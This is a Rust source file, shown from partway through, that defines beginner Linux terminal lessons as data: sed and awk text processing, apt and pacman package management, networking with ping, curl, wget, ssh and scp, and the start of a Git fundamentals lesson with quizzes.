1283 content: "'sed' (stream editor) transforms text.\n\nBasic find-and-replace:\n sed 's/old/new/' file.txt Replace first occurrence per line\n sed 's/old/new/g' file.txt Replace all occurrences (global)\n sed 's/old/new/gi' file.txt Case-insensitive replacement\n\nDeleting lines:\n sed '/pattern/d' file.txt Delete lines matching pattern\n sed '5d' file.txt Delete line 5\n sed '1,10d' file.txt Delete lines 1-10\n\nPrinting specific lines:\n sed -n '5p' file.txt Print only line 5\n sed -n '10,20p' file.txt Print lines 10-20\n sed -n '/ERROR/p' file.txt Print lines with ERROR (like grep)\n\nReal examples:\n sed 's/http/https/g' urls.txt Change http to https\n sed '/^$/d' file.txt Remove empty lines\n sed 's/ */ /g' file.txt Replace multiple spaces with one\n\nNote: sed doesn't modify the file, just outputs transformed text.\nTo save: sed 's/old/new/g' file.txt > newfile.txt".to_string(),
1284 },
1285 },
1286 LessonStep {
1287 step_number: 12,
1288 title: "Introduction to awk".to_string(),
1289 instruction: "".to_string(),
1290 hint: None,
1291 step_type: StepType::Information {
1292 content: "'awk' is a powerful text processing language.\n\nBasic syntax:\n awk '{print $1}' file.txt Print first field\n awk '{print $1,$3}' file.txt Print fields 1 and 3\n awk '{print $NF}' file.txt Print last field\n\nWith delimiters:\n awk -F':' '{print $1}' /etc/passwd Use : as delimiter\n awk -F',' '{print $2}' data.csv Use , for CSV\n\nFiltering:\n awk '$3 > 100' file.txt Print lines where field 3 > 100\n awk '/ERROR/' file.txt Print lines matching ERROR\n awk '$1 == \"root\"' /etc/passwd Print if field 1 equals root\n\nUseful built-ins:\n $0 = entire line\n $1 = first field\n $NF = last field\n NR = line number\n NF = number of fields\n\nReal examples:\n ps aux | awk '{print $1,$2,$11}' User, PID, command\n awk '{sum+=$1} END {print sum}' nums Sum first column\n awk 'length > 80' file.txt Lines longer than 80 chars".to_string(),
1293 },
1294 },
1295 LessonStep {
1296 step_number: 13,
1297 title: "Practice: Complex Pipeline".to_string(),
1298 instruction: "".to_string(),
1299 hint: None,
1300 step_type: StepType::Information {
1301 content: "Let's build a complex pipeline step by step!\n\nTask: Find the 5 most common shells used by system users.\n\nPipeline:\n cut -d':' -f7 /etc/passwd | sort | uniq -c | sort -rn | head -5\n\nBreaking it down:\n 1. cut -d':' -f7 /etc/passwd\n Extract field 7 (login shell) from passwd\n\n 2. | sort\n Sort shells alphabetically (required for uniq)\n\n 3. | uniq -c\n Count occurrences of each unique shell\n\n 4. | sort -rn\n Sort numerically (-n) in reverse (-r) order\n (most common first)\n\n 5. | head -5\n Show only top 5 results\n\nThis is the power of pipes! Small tools combined for complex analysis.\n\nTry modifying it:\n • Top 10 instead of 5? Change head -5 to head -10\n • Least common? Remove -r from sort\n • Show all? Remove | head -5".to_string(),
1302 },
1303 },
1304 LessonStep {
1305 step_number: 14,
1306 title: "Quiz: Text Processing Mastery".to_string(),
1307 instruction: "".to_string(),
1308 hint: None,
1309 step_type: StepType::MultipleChoice {
1310 question: "Which command extracts unique IP addresses from an access log and counts them?".to_string(),
1311 options: vec![
1312 "cat access.log | grep -E '[0-9]+' | uniq".to_string(),
1313 "cut -d' ' -f1 access.log | sort | uniq -c".to_string(),
1314 "awk '{print $1}' access.log | count".to_string(),
1315 "sed 's/.*([0-9.]+).*/\\1/' access.log".to_string(),
1316 ],
1317 correct_index: 1,
1318 explanation: "Correct! Breaking it down:\n • cut -d' ' -f1 - Extract first field (IP address, space-delimited)\n • sort - Sort IPs (required for uniq)\n • uniq -c - Count unique occurrences\n\nAlternative with awk:\n awk '{print $1}' access.log | sort | uniq -c\n\nWhy not the others?\n • Option 1: No sort before uniq, won't work properly\n • Option 3: No 'count' command exists\n • Option 4: sed regex is overly complex and incomplete".to_string(),
1319 },
1320 },
1321 LessonStep {
1322 step_number: 15,
1323 title: "Completion: Text Processing Mastered!".to_string(),
1324 instruction: "".to_string(),
1325 hint: None,
1326 step_type: StepType::Information {
1327 content: "Outstanding! You're now a text processing expert!\n\nKey commands:\n grep pattern file Search/filter text\n grep -E '^[0-9]' Extended regex\n cut -d':' -f1 file Extract columns\n sort file Sort lines\n sort -rn Reverse numeric sort\n uniq Remove duplicates (needs sorted input)\n uniq -c Count occurrences\n wc -l Count lines\n sed 's/old/new/g' Find and replace\n awk '{print $1}' file Print first field\n\nPipe patterns:\n cmd1 | cmd2 | cmd3 Chain commands\n sort | uniq Remove duplicates\n sort | uniq -c Count unique entries\n grep pattern | wc -l Count matches\n cut | sort | uniq Extract and deduplicate\n\nPro tips:\n • Always sort before uniq\n • Use -n with sort for numbers\n • Combine awk/cut with pipes for complex parsing\n • Test each pipe stage separately\n\nNext: Learn package management!".to_string(),
1328 },
1329 },
1330 ],
1331 }
1332}
1333
1334fn create_package_management_lesson() -> Lesson {
1336 Lesson {
1337 id: "package-mgmt".to_string(),
1338 title: "Package Management".to_string(),
1339 description: "Learn to install, update, and manage software packages using apt (Debian/Ubuntu) and pacman (Arch).".to_string(),
1340 difficulty: Difficulty::Beginner,
1341 estimated_minutes: 12,
1342 prerequisites: vec!["nav-basics".to_string()],
1343 tags: vec!["beginner".to_string(), "packages".to_string(), "system".to_string()],
1344 steps: vec![
1345 LessonStep {
1346 step_number: 1,
1347 title: "What is Package Management?".to_string(),
1348 instruction: "".to_string(),
1349 hint: None,
1350 step_type: StepType::Information {
1351 content: "Welcome to Package Management!\n\nA 'package' is software bundled with:\n • The program itself\n • Dependencies (other software it needs)\n • Configuration files\n • Documentation\n • Install/uninstall scripts\n\nPackage managers handle:\n ✓ Installing software\n ✓ Updating software\n ✓ Removing software\n ✓ Dependency resolution\n ✓ Security updates\n\nCommon package managers:\n • apt/apt-get (Debian, Ubuntu, Linux Mint)\n • dnf/yum (Fedora, RHEL, CentOS)\n • pacman (Arch, Manjaro)\n • zypper (openSUSE)\n\nWe'll cover apt (most common) and pacman (fastest growing).\n\nNo more downloading .exe files from random websites!".to_string(),
1352 },
1353 },
1354 LessonStep {
1355 step_number: 2,
1356 title: "apt Basics - Updating Package Lists".to_string(),
1357 instruction: "".to_string(),
1358 hint: None,
1359 step_type: StepType::Information {
1360 content: "First rule of apt: Always update package lists first!\n\nCommand:\n sudo apt update\n\nWhat it does:\n • Downloads latest package information from repositories\n • Checks which packages have updates available\n • Does NOT install anything yet\n • Should be run before installing or upgrading\n\nThink of it like:\n • apt update = Check what's available in the store\n • apt upgrade = Actually buy the new versions\n\nWhy sudo?\n Package management affects the whole system, so it requires\n administrator (root) privileges. 'sudo' gives you temporary\n admin access.\n\nBest practice:\n Run 'sudo apt update' daily or before installing anything.".to_string(),
1361 },
1362 },
1363 LessonStep {
1364 step_number: 3,
1365 title: "Quiz: Understanding apt update".to_string(),
1366 instruction: "".to_string(),
1367 hint: None,
1368 step_type: StepType::MultipleChoice {
1369 question: "What does 'sudo apt update' do?".to_string(),
1370 options: vec![
1371 "Installs all available updates immediately".to_string(),
1372 "Downloads the list of available packages and updates".to_string(),
1373 "Removes old packages".to_string(),
1374 "Reboots the system".to_string(),
1375 ],
1376 correct_index: 1,
1377 explanation: "Correct! 'apt update' refreshes your package database - it downloads information about what packages are available and which versions are current. It does NOT install anything. Think of it as 'checking the menu' before ordering food. To actually install updates, you'd use 'apt upgrade'.".to_string(),
1378 },
1379 },
1380 LessonStep {
1381 step_number: 4,
1382 title: "Upgrading Installed Packages".to_string(),
1383 instruction: "".to_string(),
1384 hint: None,
1385 step_type: StepType::Information {
1386 content: "Keeping software updated is crucial for security!\n\nCommand:\n sudo apt upgrade\n\nWhat it does:\n • Upgrades all installed packages to latest versions\n • Shows what will be upgraded before proceeding\n • Asks for confirmation (y/n)\n • Keeps your system secure and stable\n\nSafe upgrade workflow:\n 1. sudo apt update (refresh package lists)\n 2. sudo apt upgrade (install updates)\n\nFull upgrade (more aggressive):\n sudo apt full-upgrade\n • Upgrades packages even if it means removing some\n • Use carefully, read what it plans to do!\n\nAutomatic yes:\n sudo apt upgrade -y\n • Automatically answers 'yes' to prompts\n • Convenient for scripts\n • Use carefully!".to_string(),
1387 },
1388 },
1389 LessonStep {
1390 step_number: 5,
1391 title: "Installing Packages".to_string(),
1392 instruction: "".to_string(),
1393 hint: None,
1394 step_type: StepType::Information {
1395 content: "Installing software is simple with apt!\n\nCommand:\n sudo apt install package-name\n\nExamples:\n sudo apt install htop # Better process viewer\n sudo apt install curl # Download tool\n sudo apt install git # Version control\n sudo apt install neofetch # System info display\n\nMultiple packages at once:\n sudo apt install vim git curl htop\n\nWhat happens:\n 1. apt checks dependencies\n 2. Shows what will be installed\n 3. Asks for confirmation\n 4. Downloads packages\n 5. Installs everything\n 6. Runs post-install scripts\n\nTips:\n • Read the confirmation message!\n • Check disk space requirements\n • Package names are case-sensitive\n • Most packages have documentation in /usr/share/doc/".to_string(),
1396 },
1397 },
1398 LessonStep {
1399 step_number: 6,
1400 title: "Searching for Packages".to_string(),
1401 instruction: "".to_string(),
1402 hint: None,
1403 step_type: StepType::Information {
1404 content: "How to find packages:\n\nSearch by name/description:\n apt search keyword\n apt search python | grep ^python3 # Filter results\n\nShow package details:\n apt show package-name\n • Shows description, version, size, dependencies\n • Shows if it's installed\n • Shows homepage and maintainer\n\nList installed packages:\n apt list --installed\n apt list --installed | grep python\n\nCheck if package is installed:\n apt list --installed package-name\n dpkg -l | grep package-name\n\nFind which package provides a file:\n apt-file search /path/to/file\n (requires: sudo apt install apt-file)\n\nExample workflow:\n 1. apt search \"video editor\"\n 2. apt show kdenlive\n 3. sudo apt install kdenlive".to_string(),
1405 },
1406 },
1407 LessonStep {
1408 step_number: 7,
1409 title: "Removing Packages".to_string(),
1410 instruction: "".to_string(),
1411 hint: None,
1412 step_type: StepType::Information {
1413 content: "Uninstalling software cleanly:\n\nRemove package (keep config files):\n sudo apt remove package-name\n • Removes the program\n • Keeps configuration in /etc/ and ~/\n • Useful if you might reinstall later\n\nComplete removal (including configs):\n sudo apt purge package-name\n • Removes everything\n • Clean slate\n • Use when you're sure you won't reinstall\n\nRemove orphaned dependencies:\n sudo apt autoremove\n • Removes packages that were dependencies\n • But are no longer needed\n • Safe to run regularly\n\nClean package cache:\n sudo apt clean # Remove all cached .deb files\n sudo apt autoclean # Remove only outdated cache\n\nFull cleanup workflow:\n sudo apt remove package-name\n sudo apt autoremove\n sudo apt clean".to_string(),
1414 },
1415 },
1416 LessonStep {
1417 step_number: 8,
1418 title: "Quiz: Package Removal".to_string(),
1419 instruction: "".to_string(),
1420 hint: None,
1421 step_type: StepType::MultipleChoice {
1422 question: "What's the difference between 'apt remove' and 'apt purge'?".to_string(),
1423 options: vec![
1424 "They do exactly the same thing".to_string(),
1425 "remove keeps config files, purge removes everything".to_string(),
1426 "purge is faster than remove".to_string(),
1427 "remove requires sudo, purge doesn't".to_string(),
1428 ],
1429 correct_index: 1,
1430 explanation: "Correct! 'apt remove' uninstalls the package but keeps configuration files (useful if you might reinstall). 'apt purge' removes EVERYTHING including configs. Example: If you remove then reinstall a database, 'remove' would keep your database config. 'purge' would give you a completely fresh start. Both require sudo.".to_string(),
1431 },
1432 },
1433 LessonStep {
1434 step_number: 9,
1435 title: "Introduction to pacman (Arch Linux)".to_string(),
1436 instruction: "".to_string(),
1437 hint: None,
1438 step_type: StepType::Information {
1439 content: "pacman is the package manager for Arch Linux.\n\nBasic commands:\n sudo pacman -Syu Update system\n sudo pacman -S package Install package\n sudo pacman -R package Remove package\n sudo pacman -Rns package Remove package + dependencies\n sudo pacman -Ss keyword Search for packages\n sudo pacman -Qi package Package info (installed)\n sudo pacman -Si package Package info (repository)\n sudo pacman -Qe List explicitly installed\n sudo pacman -Sc Clean package cache\n\nFlag meanings:\n -S = Sync (install/update from repos)\n -R = Remove\n -Q = Query (search installed)\n -s = search\n -y = refresh package database\n -u = upgrade\n -n = remove package-specific config\n -s = remove unneeded dependencies\n\nCommon combinations:\n -Syu = Sync database + upgrade all\n -Ss = Sync search\n -Rns = Remove + unneeded deps + configs".to_string(),
1440 },
1441 },
1442 LessonStep {
1443 step_number: 10,
1444 title: "apt vs pacman Comparison".to_string(),
1445 instruction: "".to_string(),
1446 hint: None,
1447 step_type: StepType::Information {
1448 content: "Quick reference: apt vs pacman\n\nUpdate package lists:\n apt: sudo apt update\n pacman: sudo pacman -Sy\n\nUpgrade all packages:\n apt: sudo apt upgrade\n pacman: sudo pacman -Syu\n\nInstall package:\n apt: sudo apt install pkg\n pacman: sudo pacman -S pkg\n\nRemove package:\n apt: sudo apt remove pkg\n pacman: sudo pacman -R pkg\n\nRemove package + deps:\n apt: sudo apt autoremove pkg\n pacman: sudo pacman -Rns pkg\n\nSearch packages:\n apt: apt search keyword\n pacman: pacman -Ss keyword\n\nShow package info:\n apt: apt show pkg\n pacman: pacman -Si pkg\n\nList installed:\n apt: apt list --installed\n pacman: pacman -Qe\n\nClean cache:\n apt: sudo apt clean\n pacman: sudo pacman -Sc".to_string(),
1449 },
1450 },
1451 LessonStep {
1452 step_number: 11,
1453 title: "Package Management Best Practices".to_string(),
1454 instruction: "".to_string(),
1455 hint: None,
1456 step_type: StepType::Information {
1457 content: "Golden rules for package management:\n\n1. Update regularly:\n sudo apt update && sudo apt upgrade\n Do this weekly or before installing new software\n\n2. Read before confirming:\n Check what will be installed/removed!\n Especially important for 'full-upgrade' or 'autoremove'\n\n3. Don't mix package managers:\n Use ONE primary package manager\n Don't mix apt with snap, or pip system-wide packages\n Use virtual environments for Python/Node packages\n\n4. Be careful with PPAs (apt) or AUR (Arch):\n Third-party repositories can be unsafe\n Only add trusted sources\n\n5. Keep backups:\n Before major upgrades, backup important data\n Upgrades rarely break things, but be prepared\n\n6. Clean up regularly:\n sudo apt autoremove && sudo apt clean\n Removes orphaned packages and cached files\n\n7. Check logs if something fails:\n /var/log/apt/history.log (apt)\n /var/log/pacman.log (pacman)".to_string(),
1458 },
1459 },
1460 LessonStep {
1461 step_number: 12,
1462 title: "Completion: Package Management Mastered!".to_string(),
1463 instruction: "".to_string(),
1464 hint: None,
1465 step_type: StepType::Information {
1466 content: "Great job! You can now manage software like a pro!\n\napt (Debian/Ubuntu) commands:\n sudo apt update Refresh package lists\n sudo apt upgrade Install updates\n sudo apt install pkg Install package\n sudo apt remove pkg Uninstall package\n sudo apt purge pkg Uninstall + remove configs\n sudo apt autoremove Remove orphaned dependencies\n sudo apt search keyword Find packages\n apt show pkg Package details\n apt list --installed List installed packages\n\npacman (Arch) commands:\n sudo pacman -Syu Update system\n sudo pacman -S pkg Install package\n sudo pacman -R pkg Remove package\n sudo pacman -Rns pkg Remove + dependencies + configs\n sudo pacman -Ss keyword Search packages\n pacman -Qi pkg Package info\n\nBest practices:\n ✓ Update before installing\n ✓ Read confirmation prompts\n ✓ Clean up regularly\n ✓ Use one package manager\n ✓ Keep backups\n\nNext: Learn networking basics!".to_string(),
1467 },
1468 },
1469 ],
1470 }
1471}
1472
1473fn create_network_basics_lesson() -> Lesson {
1475 Lesson {
1476 id: "network-basics".to_string(),
1477 title: "Network Basics".to_string(),
1478 description: "Learn essential networking commands: ping for connectivity testing, curl and wget for downloads, and basic ssh usage.".to_string(),
1479 difficulty: Difficulty::Beginner,
1480 estimated_minutes: 12,
1481 prerequisites: vec!["nav-basics".to_string()],
1482 tags: vec!["beginner".to_string(), "network".to_string(), "internet".to_string()],
1483 steps: vec![
1484 LessonStep {
1485 step_number: 1,
1486 title: "Introduction to Network Commands".to_string(),
1487 instruction: "".to_string(),
1488 hint: None,
1489 step_type: StepType::Information {
1490 content: "Welcome to Network Basics!\n\nThe terminal is powerful for network operations:\n • Testing connectivity\n • Downloading files\n • Remote server access\n • Troubleshooting issues\n • Automating web requests\n\nYou'll learn:\n • ping - Test if a host is reachable\n • curl - Transfer data from URLs\n • wget - Download files\n • ssh - Secure remote access\n • Basic connectivity troubleshooting\n\nThese tools are essential for:\n • System administrators\n • Web developers\n • DevOps engineers\n • Anyone managing remote servers\n\nLet's get connected!".to_string(),
1491 },
1492 },
1493 LessonStep {
1494 step_number: 2,
1495 title: "Testing Connectivity with ping".to_string(),
1496 instruction: "ping sends packets to a host to test connectivity. Try pinging Google: ping -c 4 google.com".to_string(),
1497 hint: Some("Type: ping -c 4 google.com (-c 4 means send 4 packets then stop)".to_string()),
1498 step_type: StepType::CommandExercise {
1499 expected_command: "ping -c 4 google.com".to_string(),
1500 validation: CommandValidation::Exact,
1501 success_message: "Perfect! ping shows:\n • If the host is reachable\n • Response time (latency) in milliseconds\n • Packet loss percentage\n\nLower time = faster connection. 0% packet loss = good connection!".to_string(),
1502 },
1503 },
1504 LessonStep {
1505 step_number: 3,
1506 title: "Understanding ping Output".to_string(),
1507 instruction: "".to_string(),
1508 hint: None,
1509 step_type: StepType::Information {
1510 content: "Decoding ping results:\n\nPING google.com (142.250.185.46): 56 data bytes\n64 bytes from 142.250.185.46: icmp_seq=0 ttl=116 time=12.4 ms\n64 bytes from 142.250.185.46: icmp_seq=1 ttl=116 time=11.8 ms\n\nKey information:\n • IP address: 142.250.185.46 (DNS resolved google.com)\n • icmp_seq: Sequence number (detects missing packets)\n • ttl: Time To Live (hops remaining, typically 64 or 128)\n • time: Round-trip time in milliseconds\n\nStatistics:\n 4 packets transmitted, 4 received, 0% packet loss\n round-trip min/avg/max = 11.8/12.1/12.4 ms\n\nWhat's good?\n • 0% packet loss = excellent\n • <50ms = great for most uses\n • <100ms = acceptable\n • >200ms = noticeable lag\n • >500ms = poor connection\n\nUse cases:\n • Is my internet working? → ping 8.8.8.8 (Google DNS)\n • Can I reach this server? → ping example.com\n • Network troubleshooting".to_string(),
1511 },
1512 },
1513 LessonStep {
1514 step_number: 4,
1515 title: "Quiz: Understanding ping".to_string(),
1516 instruction: "".to_string(),
1517 hint: None,
1518 step_type: StepType::MultipleChoice {
1519 question: "What does 'ping -c 10 example.com' do?".to_string(),
1520 options: vec![
1521 "Downloads the website 10 times".to_string(),
1522 "Sends 10 test packets to example.com to check connectivity".to_string(),
1523 "Connects to example.com 10 times per second".to_string(),
1524 "Checks if port 10 is open on example.com".to_string(),
1525 ],
1526 correct_index: 1,
1527 explanation: "Correct! The -c flag specifies count. 'ping -c 10' sends exactly 10 ICMP echo request packets, waits for replies, then stops and shows statistics. Without -c, ping runs forever (stop with Ctrl+C). This tests if the host is reachable and measures network latency.".to_string(),
1528 },
1529 },
1530 LessonStep {
1531 step_number: 5,
1532 title: "Downloading with curl".to_string(),
1533 instruction: "".to_string(),
1534 hint: None,
1535 step_type: StepType::Information {
1536 content: "'curl' transfers data from or to a server.\n\nBasic usage:\n curl https://example.com Display page content\n curl -o file.html https://example.com Download to file\n curl -O https://site.com/file.zip Download, keep name\n curl -L https://short.url Follow redirects\n\nUseful flags:\n -o filename Save to specified filename\n -O Save with remote filename\n -L Follow redirects (important!)\n -I Show headers only\n -s Silent mode (no progress)\n -v Verbose (show details)\n -u user:pass Authentication\n\nAPI requests:\n curl https://api.github.com/users/octocat\n curl -X POST -d 'data' https://api.example.com\n curl -H 'Authorization: token' https://api.com\n\nTesting:\n curl -I https://example.com Check if site is up\n curl https://ifconfig.me Show your public IP".to_string(),
1537 },
1538 },
1539 LessonStep {
1540 step_number: 6,
1541 title: "Practice: Using curl".to_string(),
1542 instruction: "Try fetching your public IP address using curl: curl -s https://ifconfig.me".to_string(),
1543 hint: Some("Type: curl -s https://ifconfig.me (-s makes it silent/no progress bar)".to_string()),
1544 step_type: StepType::CommandExercise {
1545 expected_command: "curl -s https://ifconfig.me".to_string(),
1546 validation: CommandValidation::Exact,
1547 success_message: "Great! You just fetched your public IP address. The -s flag suppresses the progress bar. curl is incredibly versatile - it's like a Swiss Army knife for web requests!".to_string(),
1548 },
1549 },
1550 LessonStep {
1551 step_number: 7,
1552 title: "Downloading Files with wget".to_string(),
1553 instruction: "".to_string(),
1554 hint: None,
1555 step_type: StepType::Information {
1556 content: "'wget' downloads files from the web.\n\nBasic usage:\n wget https://example.com/file.zip\n wget -O custom.zip https://example.com/file.zip\n wget -c https://example.com/bigfile.iso (resume download)\n\nUseful flags:\n -O filename Save as specific name\n -c Continue/resume partial download\n -b Background download\n -q Quiet mode\n -r Recursive (download entire site)\n --limit-rate=1M Limit download speed\n\nMultiple files:\n wget -i urls.txt Download all URLs in file\n\ncurl vs wget:\n wget:\n • Simpler for downloading files\n • Better for recursive downloads\n • Resume broken downloads\n • Download in background\n\n curl:\n • More versatile (uploads, APIs)\n • Better for testing/debugging\n • Pipe output to other commands\n • More protocol support\n\nRule of thumb:\n • Downloading files? → wget\n • API requests? → curl\n • Both work for simple downloads!".to_string(),
1557 },
1558 },
1559 LessonStep {
1560 step_number: 8,
1561 title: "Introduction to SSH".to_string(),
1562 instruction: "".to_string(),
1563 hint: None,
1564 step_type: StepType::Information {
1565 content: "SSH (Secure Shell) - Remote server access\n\nBasic syntax:\n ssh username@hostname\n ssh user@192.168.1.100\n ssh user@example.com\n\nExamples:\n ssh root@myserver.com\n ssh pi@192.168.1.50 Raspberry Pi\n ssh -p 2222 user@server Custom port\n\nFirst connection:\n • You'll see a fingerprint warning (type 'yes')\n • Enter password when prompted\n • You're now on the remote machine!\n • Everything you type runs on the remote server\n • Type 'exit' or Ctrl+D to disconnect\n\nUseful flags:\n -p port Custom port (default: 22)\n -i keyfile Use SSH key for authentication\n -X Enable X11 forwarding (GUI apps)\n -L Port forwarding\n -v Verbose (debugging)\n\nSSH keys (advanced):\n ssh-keygen Generate key pair\n ssh-copy-id user@host Copy public key to server\n ssh user@host Now login without password!".to_string(),
1566 },
1567 },
1568 LessonStep {
1569 step_number: 9,
1570 title: "Quiz: SSH Usage".to_string(),
1571 instruction: "".to_string(),
1572 hint: None,
1573 step_type: StepType::MultipleChoice {
1574 question: "What does 'ssh user@192.168.1.100' do?".to_string(),
1575 options: vec![
1576 "Downloads files from 192.168.1.100".to_string(),
1577 "Tests network connectivity to 192.168.1.100".to_string(),
1578 "Opens a secure remote terminal session on 192.168.1.100 as 'user'".to_string(),
1579 "Transfers files securely to 192.168.1.100".to_string(),
1580 ],
1581 correct_index: 2,
1582 explanation: "Correct! SSH creates an encrypted terminal connection to the remote machine. You can then run commands as if you were sitting at that computer. It's like remote desktop but for the command line. For file transfers, you'd use 'scp' or 'rsync'. For connectivity testing, use 'ping'.".to_string(),
1583 },
1584 },
1585 LessonStep {
1586 step_number: 10,
1587 title: "Copying Files with scp".to_string(),
1588 instruction: "".to_string(),
1589 hint: None,
1590 step_type: StepType::Information {
1591 content: "'scp' (secure copy) transfers files over SSH.\n\nSyntax:\n scp source destination\n\nUpload to remote:\n scp file.txt user@host:/path/\n scp -r folder/ user@host:/path/ (recursive, for directories)\n\nDownload from remote:\n scp user@host:/path/file.txt ./\n scp user@host:/path/file.txt local-name.txt\n\nExamples:\n scp report.pdf alice@server.com:~/documents/\n scp alice@server.com:~/backup.tar.gz ./\n scp -r photos/ alice@server.com:~/Pictures/\n scp -P 2222 file.txt user@host:/tmp/ (custom port)\n\nUseful flags:\n -r Recursive (copy directories)\n -P port Custom SSH port\n -i keyfile Use specific SSH key\n -C Compress during transfer\n -v Verbose output\n\nAlternatives:\n rsync Better for large/many files (resumes, incremental)\n sftp Interactive file transfer (like FTP but secure)".to_string(),
1592 },
1593 },
1594 LessonStep {
1595 step_number: 11,
1596 title: "Network Troubleshooting".to_string(),
1597 instruction: "".to_string(),
1598 hint: None,
1599 step_type: StepType::Information {
1600 content: "Common network troubleshooting workflow:\n\n1. Check local network:\n ping 127.0.0.1 Am I working? (localhost)\n ping 192.168.1.1 Can I reach router?\n\n2. Check internet connectivity:\n ping 8.8.8.8 Can I reach Google DNS? (tests connection)\n ping google.com Can I reach by name? (tests DNS)\n\n3. Check specific service:\n ping example.com Is host reachable?\n curl -I https://example.com Is web server responding?\n ssh user@example.com Can I connect via SSH?\n\n4. Check DNS:\n nslookup example.com What's the IP address?\n host example.com Alternative DNS lookup\n\n5. Check open ports:\n nc -zv example.com 80 Is port 80 open?\n telnet example.com 22 Is SSH port responding?\n\nCommon issues:\n • ping works, web doesn't → Firewall or web server issue\n • IP works, domain doesn't → DNS problem\n • Everything fails → Check physical connection, router, ISP".to_string(),
1601 },
1602 },
1603 LessonStep {
1604 step_number: 12,
1605 title: "Completion: Network Basics Mastered!".to_string(),
1606 instruction: "".to_string(),
1607 hint: None,
1608 step_type: StepType::Information {
1609 content: "Excellent work! You've learned essential networking!\n\nKey commands:\n ping -c 4 host Test connectivity\n curl https://url Fetch web content\n curl -O https://url/file Download file\n wget https://url/file Download file\n wget -c url Resume download\n\nRemote access:\n ssh user@host Remote terminal\n ssh -p port user@host Custom SSH port\n scp file user@host:/path Upload file\n scp user@host:/path/file . Download file\n scp -r dir user@host:/path Upload directory\n\nTroubleshooting:\n ping 8.8.8.8 Test internet\n ping google.com Test DNS\n curl -I https://site.com Test web server\n nslookup domain Check DNS\n\nQuick reference:\n • No internet? → ping 8.8.8.8\n • DNS issues? → ping IP works but domain doesn't\n • Download file? → wget or curl -O\n • Access server? → ssh user@host\n • Transfer files? → scp\n\nNext: Learn Git fundamentals!".to_string(),
1610 },
1611 },
1612 ],
1613 }
1614}
1615
1616fn create_git_fundamentals_lesson() -> Lesson {
1618 Lesson {
1619 id: "git-fundamentals".to_string(),
1620 title: "Git Fundamentals".to_string(),
1621 description: "Master version control with Git: init, clone, add, commit, push, pull, status, log, and diff commands.".to_string(),
1622 difficulty: Difficulty::Beginner,
1623 estimated_minutes: 15,
1624 prerequisites: vec!["nav-basics".to_string(), "file-mgmt".to_string()],
1625 tags: vec!["beginner".to_string(), "git".to_string(), "version-control".to_string()],
1626 steps: vec![
1627 LessonStep {
1628 step_number: 1,
1629 title: "What is Git?".to_string(),
1630 instruction: "".to_string(),
1631 hint: None,
1632 step_type: StepType::Information {
1633 content: "Welcome to Git Fundamentals!\n\nGit is a version control system - like 'Track Changes' for code.\n\nWhy use Git?\n • Track every change to your code\n • Collaborate with others without conflicts\n • Experiment safely (branches)\n • Roll back mistakes\n • See who changed what and when\n • Backup your work (via GitHub, GitLab, etc.)\n\nKey concepts:\n • Repository (repo): Project folder tracked by Git\n • Commit: Snapshot of your code at a point in time\n • Branch: Parallel version of your code\n • Remote: Server hosting your repo (GitHub, etc.)\n • Clone: Download a copy of a repository\n • Push: Upload your changes\n • Pull: Download others' changes\n\nGit is essential for:\n • Professional development\n • Open source contribution\n • Portfolio building\n • Team collaboration".to_string(),
1634 },
1635 },
1636 LessonStep {
1637 step_number: 2,
1638 title: "Initializing a Repository".to_string(),
1639 instruction: "".to_string(),
1640 hint: None,
1641 step_type: StepType::Information {
1642 content: "Starting a new Git project:\n\nCommand:\n git init\n\nWhat it does:\n • Creates a .git folder (hidden directory)\n • This folder stores all version history\n • Turns current directory into a Git repository\n\nWorkflow:\n mkdir my-project\n cd my-project\n git init\n # Now you have a Git repository!\n\nYou'll see:\n 'Initialized empty Git repository in /path/to/my-project/.git/'\n\nThe .git folder contains:\n • All commits\n • Branch information\n • Configuration\n • History\n\nIMPORTANT:\n • Don't delete .git folder (you'll lose all history!)\n • Don't manually edit files in .git/\n • One .git per project (not per subfolder)\n\nAlternative: Clone existing repository\n git clone https://github.com/user/repo.git".to_string(),
1643 },
1644 },
1645 LessonStep {
1646 step_number: 3,
1647 title: "Checking Repository Status".to_string(),
1648 instruction: "The most important Git command is 'git status'. It shows what's changed. Try it: git status".to_string(),
1649 hint: Some("Type: git status".to_string()),
1650 step_type: StepType::CommandExercise {
1651 expected_command: "git status".to_string(),
1652 validation: CommandValidation::CommandOnly,
1653 success_message: "Perfect! 'git status' is your best friend. Run it constantly to see:\n • Which files changed\n • Which changes are staged for commit\n • Which branch you're on\n • If you're ahead/behind remote\n\nMake it a habit to run 'git status' before every commit!".to_string(),
1654 },
1655 },
1656 LessonStep {
1657 step_number: 4,
1658 title: "Understanding Git Workflow".to_string(),
1659 instruction: "".to_string(),
1660 hint: None,
1661 step_type: StepType::Information {
1662 content: "The Git workflow has three stages:\n\n1. WORKING DIRECTORY (modified files)\n ↓\n git add (stage changes)\n ↓\n2. STAGING AREA (files ready to commit)\n ↓\n git commit (save snapshot)\n ↓\n3. REPOSITORY (committed history)\n ↓\n git push (upload to remote)\n ↓\n4. REMOTE (GitHub, GitLab, etc.)\n\nThink of it like:\n • Working Directory = Your desk (working on documents)\n • Staging Area = Box for mail (selecting what to send)\n • Repository = Filing cabinet (permanent storage)\n • Remote = Cloud backup\n\nCommands:\n git status See what's changed\n git add file.txt Stage specific file\n git add . Stage all changes\n git commit -m 'msg' Save snapshot with message\n git push Upload to remote\n git pull Download from remote".to_string(),
1663 },
1664 },
1665 LessonStep {
1666 step_number: 5,
1667 title: "Staging Changes with git add".to_string(),
1668 instruction: "".to_string(),
1669 hint: None,
1670 step_type: StepType::Information {
1671 content: "'git add' stages files for commit.\n\nCommands:\n git add file.txt Stage one file\n git add file1 file2 Stage multiple files\n git add . Stage all changes in current directory\n git add -A Stage ALL changes everywhere\n git add *.js Stage all .js files\n git add -p Interactive staging (review each change)\n\nWhat 'staging' means:\n • You're selecting which changes to include in next commit\n • Lets you commit logical chunks, not everything at once\n • Like packing a box - choose what goes in\n\nExample workflow:\n # Edit multiple files\n git status # See what changed\n git add feature.js # Stage only the feature\n git status # Verify what's staged\n git commit -m 'Add feature'\n # Later...\n git add bugfix.js # Stage the bugfix separately\n git commit -m 'Fix bug'\n\nWhy stage separately?\n • Clean, focused commit history\n • Easier to review changes\n • Easier to revert specific features".to_string(),
1672 },
1673 },
1674 LessonStep {
1675 step_number: 6,
1676 title: "Quiz: Understanding git add".to_string(),
1677 instruction: "".to_string(),
1678 hint: None,
1679 step_type: StepType::MultipleChoice {
1680 question: "What does 'git add .' do?".to_string(),
1681 options: vec![
1682 "Commits all changes immediately".to_string(),
